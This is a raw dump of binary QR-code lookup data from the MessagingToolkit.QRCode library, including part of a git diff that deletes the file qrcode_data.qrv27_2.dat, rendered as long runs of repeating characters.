|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvussssststtststssststststsrqrqrqrqrqrqrqrqpopopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijijihghghghghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXWXWXWXWXXWVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=;<;<;<;<;<;<;<;<:9:9:9:9:9:9:9:9:9:9:9:9878787878787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - -            - - - - - - - -             - - - - - - - -             - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -          - - - - - - - - - - - -         - - - - - - - - - - - -         - - - - - - - - -         - - - - - - - - ||{{zzyyLLKKJJII%%&&''((UUVVWWXXoonnmmll55443322KKLLMMNNrqqppoon>=<;;::9 - - 00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkWWVVUUTTVVWW]]^^gffeeddc21100//.44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnooSSRRQQPP%%&&''((__``aabbcbbaa``_.--,,++* - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssOONNMMLL))**++,,ccddeeff_^^]]\[Z*))((''& <<==>>??llmmnnoo]]\\[[ZZ--,,++**xxwwvvuuHHGGFFEE))**++,,YYZZ[[\\kkjjiihh1100//..OOPPQQRRnmmllkkj9887766544556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnooSSRRQQPP%%&&''((__``aabbcbbaa``_.--,,++* - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssOONNMMLL))**++,,ccddeeff_^^]]\[Z*))((''& <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwKKJJIIHH--..//00gghhiijjYXWWVVUU&%%$#"! @@AABBCCppqqrrssYYXXWWVV))((''&& - - ttssrrqqDDCCBBAA--..//00]]^^__``ggffeedd--,,++**SSTTUUVVjiihhggf54433221 - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssOONNMMLL))**++,,ccddeeff_^^]]\[Z*))((''& <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwKKJJIIHH--..//00gghhiijjYXWWVVUU&%%$#"! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{GGFFEEDD - -11223344kkllmmnnTTSSRRQQDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" ppoonnmm@@??>>== 11223344aabbccddccbbaa``))((''&&%%WW]]^^__feeddccb100//..- <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwKKJJIIHH--..//00gghhiijjYXWWVVUU&%%$#"! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{GGFFEEDD - -11223344kkllmmnnTTSSRRQQDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzCCBBAA;; 55667788ooppqqrrPPOONNMMHHIIJJKKxxyyzz{{QQPPOONN!! llkkjjii<<;;::99 - - 55667788eeffgghh__^^]]WW%%&&''(())``aabbccbaa``__^-,,++**)@@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{GGFFEEDD - -11223344kkllmmnnTTSSRRQQDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzCCBBAA;; 55667788ooppqqrrPPOONNMMHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyssrrqq::99887799::;;AAssyyzz{{LLKKJJIILLMMNNOO||||{{zzMMLLKKJJhhggffee88776655 - - 99::;;<>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzCCBBAA;; 55667788ooppqqrrPPOONNMMHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyssrrqq::99887799::;;AAssyyzz{{LLKKJJIILLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWppoonnmm66554433 - - BBCCDDEE||||{{zzHHGGFFEE !!""##PPQQRRSSyyxxwwvvIIHHGGFFddccbbaa44332211 ==>>??@@mmnnooppRRQQPPOO..//0011hhiijjkkWWVVUUTT%$#"! HHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyssrrqq::99887799::;;AAssyyzz{{LLKKJJIILLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWppoonnmm66554433 - - BBCCDDEE||||{{zzHHGGFFEE !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[llkkjjii221100// FFGGHHIIyyxwvutsDDCCBBAA $$%%&&''TTUUVVWWuuttssrrEEDDCCBB``__^^]]00//..--AABBCCDDqqrrssttNNMMLLKK22334455llmmnnooSSRRQQPPLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWppoonnmm66554433 - - BBCCDDEE||||{{zzHHGGFFEE !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[llkkjjii221100// FFGGHHIIyyxwvutsDDCCBBAA $$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__hhggffee..--,,++JJKKLLMMsrrqqppo@?>=<;;: - - (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##\\[[ZZYY,,++**))EEFFGGHHuuvvwwxxJJIIHHGG 66778899ppqqrrssOONNMMLL !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[llkkjjii221100// FFGGHHIIyyxwvutsDDCCBBAA $$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__hhggffee..--,,++JJKKLLMMsrrqqppo@?>=<;;: - - (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbccddccbbaa**))((''NNOOPPQQonnmmllk:9988776,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''44556677XXWWVVUU((''&&%%IIJJKKLLyyzz{{||FFEEDDCC - - ::;;AABByyzz{{||KKJJIIHH$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__hhggffee..--,,++JJKKLLMMsrrqqppo@?>=<;;: - - (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbccddccbbaa**))((''NNOOPPQQonnmmllk:9988776,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffgg``__^^]]&&%%RRSSTTUUkjjiihhg6554433200112233``aabbcciihhggff99887766 (())**++8899::;;TTSSRRQQ$$##""!! MMNNOOPP||{{zzyyBBAA;;:: - - CCDDEEFF||{{zzyyGGFFEEDD(())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbccddccbbaa**))((''NNOOPPQQonnmmllk:9988776,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffgg``__^^]]&&%%RRSSTTUUkjjiihhg6554433200112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkWWVVUUTTVVWW]]^^gffeeddc21100//.44556677ddeeffggeeddccbb55443322,,--..//<<==>>??PPOONNMM !!""##$$QQRRSSTTssrrqqpp99887766 GGHHIIJJxwvutssrCCBBAA@? ,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffgg``__^^]]&&%%RRSSTTUUkjjiihhg6554433200112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkWWVVUUTTVVWW]]^^gffeeddc21100//.44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnooSSRRQQPP%%&&''((__``aabbcbbaa``_.--,,++* - - 8899::;;hhiijjkkaa``__^^1100//..00112233@@AABBCCDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWmmllkkjj33221100MMNNOOPPaa``__^^1100//..@@AABBCCHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[iihhggff//..--,,QQRRSSTT]]\\[[ZZ--,,++**DDEEFFGGLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__eeddccbb++**))((UUVVWW]]YYXXWWVV))((''&&HHIIJJKKPPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbccaa``__^^''&&%%%%&&''^^__``aaUUTTSSRR%%$$##""LLMMNNOOTTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnoo]]\\[[ZZ--,,++**44556677ddeeffgg]]WWVVUU(())**++bbccddeeQQPPOONN!!  !!""##PPQQRRSSXXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkTTSSRRQQ,,--..//ffgghhiiMMLLKKJJ$$%%&&''TTUUVVWW\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwUUTTSSRR%%$$##"" <<==>>??llmmnnooPPOONNMM00112233jjkkllmmIIHHGGFF(())**++XXYYZZ[[``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{QQPPOONN!! @@AABBCCppqqrrssLLKKJJII44556677nnooppqqEEDDCCBB,,--..//\\]]^^__ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||||{{zzMMLLKKJJDDEEFFGGttuuvvwwHHGGFFEE 8899::;;qqppoonnAA@@??>>00112233``aabbcchhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSyyxxwwvvIIHHGGFFHHIIJJKKxxyyzz{{DDCCBBAA - - - -AABBCCDDmmllkkjj==<<;;:: - -44556677ddeeffggllmmnnoo]]\\[[ZZ--,,++**44556677ddeeffggeeddccbb55443322,,--..//\\]]^^__mmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWuuttssrrEEDDCCBBLLMMNNOO||ttssrr;;::9988 EEFFGGHHiihhggff99887766 - - 8899::;;hhiijjkkppqqrrssYYXXWWVV))((''&& - - 8899::;;hhiijjkkaa``__^^1100//..00112233``aabbcciihhggff99887766 (())**++XXYYZZ[[qqppoonnAA@@??>> !!""##PPQQRRSSqqppoonn77665544IIJJKKLLeeddccbb55443322 <<==>>??llmmnnooppqqfpvfpvfpvXQJ`ےXQJ`ےltbtAJlH~fpfH~bے`JQr˂p˂pZHAbtlbtl`f~`f~`fHےbHAےbHAtAJltAJltAJlf`vXf`vXXQr˂XQr˂XQr˂btlbtlbtl`f~`f~ےbHAےbHAےbHAtAJltAJlf`vXf`vXf`vX`JXQrے`JJtArdl|Z~HfpvnX`ےHAےbHAےbHAtAJltAJlJltf`vXf`vXXQr˂XQr˂XQr˂btlbtl`f~`f~`f~ےbHAےbHAےJltAJltAJlf`vXf`vXf`vXXQr˂XQr˂btlbtlbtlXv`fnXvXQJ`ےrXQJtbdZ|df`vXf`vXf`vXXQr˂XQr˂rbtbtlbtl`f~`f~`fHےbHAےbHAtAJltAJltAJlf`vXf`vXXQr˂XQr˂XQr˂btlbtlbtl`f~`f~ےbHAےbHAےbHAdrtAJ|drH~fpfH~˂pZAbbے`btlbtlbtl`f~`f~`ےHAnXv`nXv`nXv`bHAZbHAZdQZ|tbdQZ`vXnf`vJXQrˑZHAbbJAdJtArdJtArdHfpvHfpvfpvZp˂Zp˂tbdQZtbdQZtbdQZnvpnvppZHAbpZHAbpZHAbJtArdJtArdJfpvHfpvHfpvZp˂Zp˂Zp˂tbdQZtbdQZnvpnvpnvp˂pZXQr˂tlJdQbt璝vnXv`fZp˂Zp˂Zp˂tbdQZtbdQZbnvnvpnvppZHAbpZHAbpZHAJtArdJtArdHfpvHfpvHfpvZp˂Zp˂tbdQZtbdQZtbdQZnvpnvpnvppZHAbpZHAbJtArdJtArdJtArd~Hf`f~bHAZ`ےbQZ|rrtA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ltf`vXf`vXXQr˂XQr˂XQr˂btlbtl`f~`f~`f~ےbHAےbHAےJltAJltAJlf`vXf`vXf`vXr˂pJXQrˁ`ZQXf۝`vf۝`vf۝`vrQtJlrQtJlZp˂tbdQZtbdQZbnvnvpnvppZHAbpZHAbpZHAJtArdJtArdHfpvHfpvHfpvZp˂Zp˂tbdQZtbdQZtbdQZnvpnvpnvpZHAb˂p`ZAHr󙐂˅Xnv˅Xnv˅Xnv˒tbAdtbAdrXQJ`|dr|drpfHfH~fH~ے`Jے`Jے`JXQ|ZdQ|ZdQnXvnXvnXvrXQJ`rXQJ`|dr|dr|drfH~fH~fZHAb˂pZQXb㉀ہ`ZQXbpfH~pfH~p|dZ|dZ|dےbHAtAJltAJlf`vXf`vXf`vXXQr˂XQr˂rbtbtlbtl`f~`f~`fHےbHAےbHAtAJltAJltAJlf`vXf`vXے`JHAbےpJAHr󉀒ۑpJf۝`vf۝`vrQtJlrQtJlrQtJltuvwxyz{||{zyxwv \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_2.dat deleted file mode 100644 index 536c7ca..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_2.dat +++ /dev/null @@ -1,249 +0,0 @@ -|{|{|{|{zyzyzyzyxwxwxwxwssstststrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVU|{|{|{|{zyzyzyzyxwxwxwxwststststrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvuststststrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvuststststrqpopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYXWXWXWVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvuststststpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[XWWWWWWXVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvuststststpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvusssssstspopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmlklklklkjihghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWWWWVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcba`_`_`_^]^]^]^]\[\[\[\[WWXWXWXWVUVUVUVU|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTS|{|{|{|{zyzyzyzyvuvuvuvuqqqqqqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTS|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTS|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTS|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnmlkjijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTS|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[WWWWWXWXVUVUVUVUTSTSTSTS|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[ZYZYZYWXWXWXWXVUVUVUVUTSTSTSTS|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTS|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcbababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTS|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTS|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWXVUTSTSTSTSTSTSTS|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWWWWWWTSTSTSTSTSTSTSTS|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSTSTSTSTS|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmlklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSTSRQRQRQ|{|{|{|{xwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQ|{|{|{|{xwxwxwxwssssststrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQ|{|{|{|{xwxwxwxwststststrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQzyzyzyzyxwxwxwxwststststrqrqrqrqpopopopolklklklkjijijijihghghghgfedcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWWWTSTSTSTSRQRQRQRQzyzyzyzyxwxwxwxwststststrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYWWXWXWXWTSTSTSTSRQRQRQRQzyzyzyzyxwxwxwxwststststrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWVUVUVUTSTSTSTSRQRQRQRQzyzyzyzyxwxwxwxwststststrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQzyzyzyzyxwxwxwxwstssssssrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQzyzyzyzyxwxwxwxwtstststsrqrqrqrqponmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQzyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSR